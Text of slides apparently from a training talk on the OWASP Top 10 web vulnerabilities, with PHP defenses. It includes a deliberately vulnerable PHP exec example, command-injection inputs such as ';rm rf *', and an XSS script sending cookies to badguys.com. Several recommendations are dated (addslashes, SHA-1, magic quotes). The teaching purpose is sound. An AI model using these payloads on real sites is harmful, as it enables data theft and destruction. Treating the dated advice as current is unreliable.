Top 10 Web Application Security Vulnerabilities - with focus on PHP Louise Berthilson Alberto Escudero Pascual <www.it46.se> 1
Resources The Top 10 Project by OWASP www.owasp.org/index.php/owasp_top_ten_project PHP and the OWASP Top Ten Security Vulnerabilities by David Sklar www.sklar.com/page/article/owasp top ten The Top 20 Most Critical Internet Security Vulnerabilities (Updated) The Experts Consensus by SANS Institute http://www.sans.org 2
Why protect PHP? PHP is the most widely used scripting language for the web. 50% of all Apache servers have PHP installed A large number of CMS, portals, Bulletin Boards, Discussion Forums are written in PHP. 3
OWASP Open Web Application Security Project Dedicated to find and fight the causes of insecure software All results are Free and open source Sponsored by OWASP Foundation, a 501c3 not for profit charitable organization 4
OWASP Top Ten Project Provides a minimum standard for web application security. Represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of international security experts A Spanish version of the Top Ten Project is on its way 5
OWASP Top Ten Project 1)Unvalidated input 2)Broken Access Control 3)Broken Authentication and Session Management 4)Cross Site Scripting 5)Buffer Overflow 6)Injection Flaws 7)Improper Error handling 8)Insecure Storage 9)Application Denial of Service 10) Insecure Configuration Management 6
1. Unvalidated Input Input from HTTP requests (and sometimes files) determines response from web application Tampering with any part of an HTTP request (incl. url's, query strings, headers, cookies, form fields, hidden fields) can result in: forced browsing, command insertion cross site scripting, buffer overflows format string attacks, SQL injection cookie poisoning, hidden field manipulation 7
1) Unvalidated Input How to protect yourself Validate input before usage (see next slide) Use the OWASP Filters project 8
1) Unvalidated Input Validate input by filtering Data type (string, integer, real, etc ) Allowed character set Minimum and maximum length Whether null is allowed Whether the parameter is required or not Whether duplicates are allowed Numeric range Specific legal values (enumeration) Specific patterns (regular expressions) 9
1) Unvalidated Input PHP Example $month = $_GET['month']; $year = $_GET['year']; exec("cal $month $year", $result); print "<PRE>"; foreach ($result as $r) { print "$r<br>"; } print "</PRE>"; 10
1) Unvalidated Input PHP Example How about appending the following data: ";ls la" ";rm rf *" Use regular expression to verify input: if (!preg_match("/^[0 9]{1,2}$/", $month)) die("bad month, please re enter."); if (!preg_match("/^[0 9]{4}$/", $year)) die("bad year, please re enter."); 11
1) Unvalidated Input How to protect yourself (PHP) Turn of variable register_globals (off by default in PHP 4.2.0 and later) Access values from URLs, forms, and cookies through the superglobal arrays $_GET, $_POST, and $_COOKIE 12
2. Broken Access Control (authorization) Access control: how a web application grants access to content and functions to some users and not others. Administrative interfaces is a typical access control that causes problems. 13
2) Broken Access Control Some Access Control Issues Insecure ID's Forced Browsing Past Access Control Checks Path Traversal File Permissions Client Side Caching 14
2) Broken Access Control How to protect yourself Think through an application s access control requirements before starting to implement Document it in a web application security policy Use an access control matrix to define the access control rules Test the access control system extensively (with a variety of accounts and extensive attempts to access unauthorized content or functions) 15
2) Broken Access Control How to protect yourself (PHP) Instead of creating your own access control solution, use PEAR modules PHP Extension and Application Repository Auth (cookie based authentication) methods for creating an authentication system using PHP Auth_HTTP (browser based authentication) similar to Apache's realm based.htaccess authentication 16
2) Broken Access Control How to protect yourself (PHP) Always check the user's access privileges upon every load of a restricted page of your PHP application Checking the index page only, can offer an attacker to bypass the credential checking process by entering a URL to a "deeper" page Always place configuration files outside your Webaccessible directory 17
2) Broken Access Control How to protect yourself (PHP) Never make a backup of a php file in your Web exposed directory by adding.bak or another extension to the filename Can even be indexed by Google! Rather code.bak.php than code.php.bak Safest, use a CVS for version control 18
3. Broken Authentication and Session Management All aspects of handling user authentication and managing active sessions Including password change, forgot my password, remember my password, account update, and other related functions Re authentication should always be required in all account management functions (even if the user has a valid session id) to avoid walk by's 19
3) Broken Authentication and Session Management How to protect yourself Password strength Minimum size and complexity Requirement to change password periodically Prevention to reuse previous password Password use Restricted to a defined number of login attempts per unit of time Do not indicate whether it was the username or password that was wrong if a login attempt fails Inform users of the date/time of their last successful login and the number of failed access attempts to their account since that time. 20
3) Broken Authentication and Session Management How to protect yourself Password change controls Both old and new password must be provided when changing password When a forgotten password is emailed to a user, re authentication of the user should be required whenever the user is changing its e mail address Password storage hashed or encrypted form (regardless of where they are stored) Hashed form is preferred since it is not reversible Should never be hard coded in any source code 21
3) Broken Authentication and Session Management How to protect yourself Protecting Credentials in Transit Encrypt entire login transaction using something like SSL Session ID protection Ideally, a user s entire session should be protected via SSL Never include Session ID in the URL (cached by browser and forwarded) Session ID should be long, complicated, random numbers that cannot be easily guessed 22
3) Broken Authentication and Session Management How to protect yourself Account lists Avoid users to gain access to lists of the account names on the site (if needed, use pseudonyms (aliases)) Browser caching Authentication and session data should never be submitted as part of a GET (use POST instead) Authentication pages should be marked with all varieties of the no cache tag (prevent usage of back button ) Many browsers support autocomplete=false flag to prevent storing of credentials in autocomplete caches 23
3) Broken Authentication and Session Management How to protect yourself Thrust relationships Avoid implicit trust between components whenever possible Each component should authenticate itself If trust relationships are required, strong procedural and architecture mechanisms should be in place to ensure that such trust cannot be abused as the site architecture evolves over time 24
3) Broken Authentication and Session Management How to protect yourself (PHP) Use PHP's built in session management functions Consider how your server is configured to store session information In a database: Yes! In a part of the file system that only trusted users can access: Yes! As world readable files in /tmp: No! Session specific traffic should be sent over SSL Configuration in webserver 25
4. Cross Site Scripting (XSS) XSS is a subset of user validation XSS flaws are frequent in web applications A malicious user embeds scripting commands (usually JavaScript) in data that is displayed and therefore executed by another user 26
4. Cross Site Scripting (XSS) The end user s browser can not know if the script should be trusted or not, and will execute the script. The malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. 27
4) Cross Site Scripting Example of code attached <script> document.location = 'http://www.badguys.com/cgi bin/cookie.php?' + document.cookie; </script> 28
4) Cross Site Scripting Two types of attacks Stored: injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field. Reflected: injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route (i.e. e mail message) 29
4) Cross site Scripting How to protect yourself Perform validation of all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed. A positive security policy that specifies what is allowed is recommended A negative or attack signature based policy is difficult to maintain and is likely to be incomplete. Never display any information coming from outside your program without filtering it first. 30
4) Cross site Scripting How to protect yourself (PHP) htmlspecialchars() Turns & > " < into their HTML entity equivalents. Xan also convert single quotes by passing ENT_QUOTES as a second argument. strtr() Use strstr() to replace characters with their entity equivalents, like: $safer = strtr($untrusted, array('(' => '(', ')' => ')')); 31
4) Cross site Scripting How to protect yourself (PHP) strip_tags() Removes HTML and PHP tags from a string utf8_decode() Converts the ISO 8859 1 characters in a string encoded with the Unicode UTF 8 encoding to single byte ASCII characters. Sometimes cross site scripting attackers attempt to hide their attacks in Unicode encoding. You can use utf8_decode() to peel off that encoding. 32
5. Buffer Overflow Probably the best known form of software security vulnerability Not easy to discover, and when discovered, generally extremely difficult to exploit 33
5) Buffer Overflow Buffer overflow in PHP? Memory can not be allocate at runtime in PHP Unlike C, there are no pointers in PHP code Your code can not cause buffer overflow but... There can be buffer overflows in PHP itself (and its extensions). Subscribe to the php announce mailing list to keep yourself updated about patches and new releases. 34
5) Buffer Overflow How to protect yourself Keep up with the latest bug reports for your web and application server products Apply the latest patches to these products Periodically scan your web site with one or more of the commonly available scanners that look for buffer overflow flaws 35
5) Buffer Overflow How to protect yourself For custom application code Review all code that accepts input from users via the HTTP request Ensure that it provides appropriate size checking on all 36
6. Injection Flaws Allow attackers to relay malicious code through a web application to another system Scripts in perl, python, and other languages can be injected into poorly designed web applications and executed 37
6) Injection Flaws What do they target? Calls to the operating system via system calls Calls external programs via shell commands Sendmail Calls to backend databases via SQL (i.e., SQL injection). 38
6) Injection Flaws How to protect yourself Avoid accessing external interpreters wherever possible. Use language specific libraries for many shell commands and system calls Carefully validate the data provided Make sure that the web application runs with only the privileges it absolutely needs to perform its function. Do not run the webserver as root Do not access a database as DBADMIN 39
6) Injection Flaws How to protect yourself (PHP) Before opening an external file, canonicalize its pathname with realpath() Expands all symbolic links Translates. (current directory).. (parent directory) Removes duplicate directory separators. Afterwards, test the pathname and make sure it meets certain criteria under the web server document root In a user's home directory 40
6) Injection Flaws How to protect yourself (PHP) User input to a SQL queries, escape input with addslashes() mysql_real_escape_string() (MySQL) mysql_escape_string() (MySQL, PHP earlier than 4.3.0) DB::quote() (PEAR) 41
7. Improper Error handling Web applications frequently generate error conditions out of memory, null pointer exceptions system call failure, database unavailable, network timeout Errors must be handled in a way so that they provide Meaningful error message to the user Diagnostic information to the site maintainers No useful information to an attacker 42
7) Improper Error Handling What does it imply? An attacker can cause errors to occur that the web application does not handle By doing so, they can gain detailed system information, deny service, cause security mechanisms to fail, or crash the server Detailed internal error messages that can be displayed are: stack traces, database dumps, and error codes 43
7) Improper Error Handling How to protect yourself Create Error handling policy Types of errors to be handled What information should be reported to the user What information should be logged Crate site specific designed error messages that are helpful to the user without revealing unnecessary internal details. All developers need to understand the policy and ensure that their code follows it 44
7) Improper Error Handling How to protect yourself (PHP) Tell PHP to put error messages in your server's error log instead of displaying them to a user In php.ini log_errors = On display_errors = Off 45
8. Insecure Storage There is a need to store sensitive information In a database or on a file system The information could be: Passwords Credit card numbers Account records Proprietary information. 46
8) Insecure Storage Issues of Insecure Storage Encryption techniques are frequently used Other aspects of securing the data is ofter forgotten: Insecure storage of keys, certificates, and passwords Improper storage of secrets in memory Poor sources of randomness Poor choice of algorithm Attempting to invent a new encryption algorithm Failure to include support for encryption key changes and other required maintenance procedures 47
8) Insecure Storage How to protect yourself Minimize the use of encryption Store sensitive information only if it is absolutely necessary Alternatively, ask use to re enter sensitive data (like credit number) Instead of using encryption use a one way function SHA 1 (hash) If you must use cryptography, choose a well tested library that has been exposed to public scrutiny 48
8) Insecure Storage How to protect yourself (PHP) mcrypt provides a standardized interface to many popular cryptographic algorithms Use mcrypt instead of creating your own encryption scheme 49
9. Application Denial of Service To consume web application resources to a point where other legitimate users can no longer access or use the application. Attackers can lock users out of their accounts or even cause the entire application to fail 50
9) Application Denial of Service Limited resources Bandwidth Database connections Disk storage CPU Memory Threads Application specific resources 51
9) Application Denial of Service Targeting single users Lock out a legitimate user by sending invalid credentials until the system locks out the account. Request a new password for a user, forcing them to access their email account to regain access. If the system locks any resources for a single user, then an attacker could potentially tie them up so others could not use them. 52
9) Application Denial of Service How to protect yourself Limit the resources allocated to any user to a minimum. Authenticated users Establish quotas that limit the load a particular user can put on the system. If multiple requests from single user (one session), drop the oldest request Unauthenticated users Avoid access to expensive resources (like database) Consider caching content (instead of accessing databases) 53
9) Application Denial of Service How to protect yourself Run remote administration tools over an SSL connection prevents sniffing of passwords and content Third party software with remote admin component Change default admin user name/password Change default administrative URL Consider running admin tools on a different web server 54
10. Insecure Configuration Management A strong server configuration standard is critical to a secure web application Many configuration options that affect security exists Web/application servers are not secure out of the box. 55
10) Insecure Configuration Management Server Configuration Issues Un patched security flaws in the server software Server software flaws or mis configurations that permit directory listing and directory traversal attacks Unnecessary default, backup, or sample files, including scripts, applications, configuration files, and web pages Improper file and directory permissions Unnecessary services enabled, including content management and remote administration 56
10) Insecure Configuration Management Server Configuration Issues Default accounts with their default passwords Administrative or debugging functions that are enabled or accessible Overly informative error messages Mis configured SSL certificates and encryption settings Use of self signed certificates to achieve authentication and man in the middle protection Use of default certificates 57
10) Insecure Configuration Management How to protect yourself Create hardening Guidelines that includes: Configuring all security mechanisms Turning off all unused services Setting up roles, permissions, and accounts, including disabling all default accounts or changing their passwords Logging and alerts 58
10) Insecure Configuration Management How to protect yourself Maintenance Monitoring the latest security vulnerabilities published Applying the latest security patches Updating the security configuration guideline Regular vulnerability scanning from both internal and external perspectives Regular internal reviews of the server s security configuration as compared to your configuration guide Regular status reports to upper management documenting overall security posture 59
10) Insecure Configuration Management How to protect yourself (PHP) Stay away from the automatic PHP source display handler since it lets attackers look at your code AddType application/x httpd php source.phps Of the two sample php.ini files distributed with PHP use php.inirecommended as a base for your site configuration 60
General Security Advices for PHP 1) Apply all vendor patches for PHP and PHP based applications. 2) Preform frequent web scanning in environments where a large number of PHP applications are in use 3) Use the following PHP Configuration that is safer: register_globals (should be off) allow_url_fopen (should be off) magic_gpc_quotes (should be off for well written software, should be on for poorly written PHP 3 and PHP 4 scripts,) safe_mode and open_basedir (should be enabled and correctly configured) 61
General Security Advices for PHP 4) Configure Apache mod_security and mod_rewrite filters to block PHP attacks. 5) Use tools like Paros Proxy for conducting automated SQL Injection tests against your PHP applications. 6) Upgrade to PHP 5 as it will eliminate many latent PHP security issues 7) Follow the "Least Privilege" principle for running PHP using tools like PHPsuExec, php_suexec orsuphp from suphp 8) Use any Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests. 62